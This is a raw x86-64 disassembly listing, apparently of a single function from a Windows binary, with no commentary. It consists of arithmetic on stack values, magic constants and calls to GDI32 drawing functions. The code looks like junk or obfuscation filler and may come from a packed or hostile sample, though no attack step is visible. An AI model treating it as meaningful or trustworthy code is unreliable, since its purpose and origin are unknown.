mov rax, qword [rsp + 0x418]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x58]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x1c0], al
movzx eax, word [rsp + 0x48]
movzx ecx, word [rsp + 0x198]
add eax, ecx
mov word [rsp + 0x2b0], ax
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
movzx ecx, word [0x140011008]
add eax, ecx
mov word [rsp + 0x198], ax
jmp 0x1400066cf
mov rax, qword [rsp + 0x468]
movsx r8d, byte [rax]
movsx eax, byte [rsp + 0x358]
movzx ecx, al
sar r8d, cl
movsx edx, byte [rsp + 0x94]
movsx eax, byte [rsp + 0x368]
movzx ecx, al
mov eax, edx
shl eax, cl
cmp r8d, eax
jge 0x1400066cf
mov rax, qword [rsp + 0x290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0xd0], al
movsx ecx, byte [0x140011001]
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x58]
mov byte [rax], cl
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov rcx, qword [0x140012060]
or rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
and rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
mov rax, qword [rsp + 0x218]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x250], ax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xd8]
sub rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
mov rax, qword [rsp + 0x100]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x218]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x108]
mov rax, qword [rsp + 0x308]
mov ecx, dword [rax]
call fcn.140006d20
mov r11, qword [rsp + 0x480]
movzx edx, word [r11]
movzx eax, word [rsp + 0x150]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x39c], ax
jmp 0x1400067bf
mov rax, qword [rsp + 0x218]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xf8], ax
mov rcx, qword [rsp + 0x178]
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x308]
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x438], eax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [rsp + 0x284]
sub eax, ecx
mov byte [section..data], al
movzx edx, word [rsp + 0x2e8]
mov rax, qword [rsp + 0x2d0]
movzx ecx, word [rax]
mov eax, edx
xor eax, ecx
mov word [rsp + 0x48], ax
mov rax, qword [rsp + 0x2d0]
movzx edx, word [rax]
movzx eax, word [rsp + 0x48]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x150], ax
mov rax, qword [0x140012068]
movzx ecx, al
mov rax, qword [rsp + 0x3b0]
sar rax, cl
mov qword [rsp + 0x1e0], rax
lea r9, [rsp + 0x360]
mov r8d, 0x23
mov edx, 0xa3
mov rcx, qword [rsp + 0x2a8]
call qword [sym.imp.GDI32.dll_SetPaletteEntries]
mov dword [rsp + 0x154], eax
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x154]
or ecx, eax
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
movzx r8d, byte [rsp + 0x220]
mov edx, dword [rsp + 0x78]
movzx ecx, word [rsp + 0x2b0]
call fcn.140006cc0
mov rcx, qword [rsp + 0x4b0]
call qword [sym.imp.GDI32.dll_GetTextColor]
mov dword [rsp + 0xe0], eax
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x220]
add ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x220], al
movzx eax, byte [rsp + 0x149]
movzx ecx, byte [rsp + 0x284]
sub eax, ecx
mov byte [rsp + 0x138], al
movsx ecx, byte [rsp + 0x220]
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
mov rax, qword [rsp + 0x158]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x280], ax
call fcn.140006d90
mov r11, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0xd8]
xor rcx, r11
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
jmp 0x140006a2f
movzx ecx, word [rsp + 0x198]
movzx eax, word [rsp + 0x2e8]
and ecx, eax
movzx eax, word [rsp + 0xa0]
cmp ecx, eax
jge 0x140006a2f
movsx ecx, word [rsp + 0x110]
movsx eax, word [rsp + 0x1e8]
sub ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov ecx, dword [0x140012084]
mov eax, dword [rsp + 0x1cc]
add eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3b0], rax
movzx r9d, word [rsp + 0x1e8]
mov rax, qword [rsp + 0x208]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x1e8]
mov ecx, dword [rsp + 0x78]
call fcn.140006d20
mov rax, qword [rsp + 0x100]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x208]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x1e8]
mov ecx, dword [rsp + 0x1cc]
call fcn.140006d20
jmp 0x140006acf
movzx eax, word [rsp + 0xa0]
sub eax, 0xdb0
mov word [rsp + 0xa0], ax
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
add eax, 0x666
mov word [rsp + 0x110], ax
mov rax, qword [rsp + 0x208]
movzx r9d, word [rax]
mov rax, qword [rsp + 0x208]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x110]
mov ecx, dword [rsp + 0x438]
call fcn.140006d20
movsx ecx, word [rsp + 0x110]
sub ecx, 0x1e9
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x1e0]
sar rax, 5
mov qword [rsp + 0x1e0], rax
mov r8, qword [rsp + 0xc8]
mov rdx, qword [rsp + 0x240]
mov rcx, qword [rsp + 0x4b0]
call qword [sym.imp.GDI32.dll_FillRgn]
mov dword [rsp + 0x4c0], eax
movabs rax, 0x73c0263796ae77
mov rcx, qword [rsp + 0x210]
and rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
movzx ecx, byte [rsp + 0x220]
call fcn.140006c10
mov eax, dword [rsp + 0x328]
and eax, 0xeb11
mov dword [rsp + 0x328], eax
movabs rcx, 0x708dbafe69e0fc
mov rax, qword [rsp + 0x1e0]
add rax, rcx
mov qword [rsp + 0x1e0], rax
call fcn.140006d90
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x210]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov eax, dword [rsp + 0x438]
sub eax, 0x2aec
mov dword [rsp + 0x1cc], eax
movzx eax, byte [section..data]
add eax, 0xb5
mov byte [section..data], al
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
movsx eax, word [rsp + 0x110]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
mov rax, qword [rsp + 0x190]
movabs rcx, 0x7da9a09975110a
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x210], rax
mov eax, dword [rsp + 0xd4]
add rsp, 0x508
ret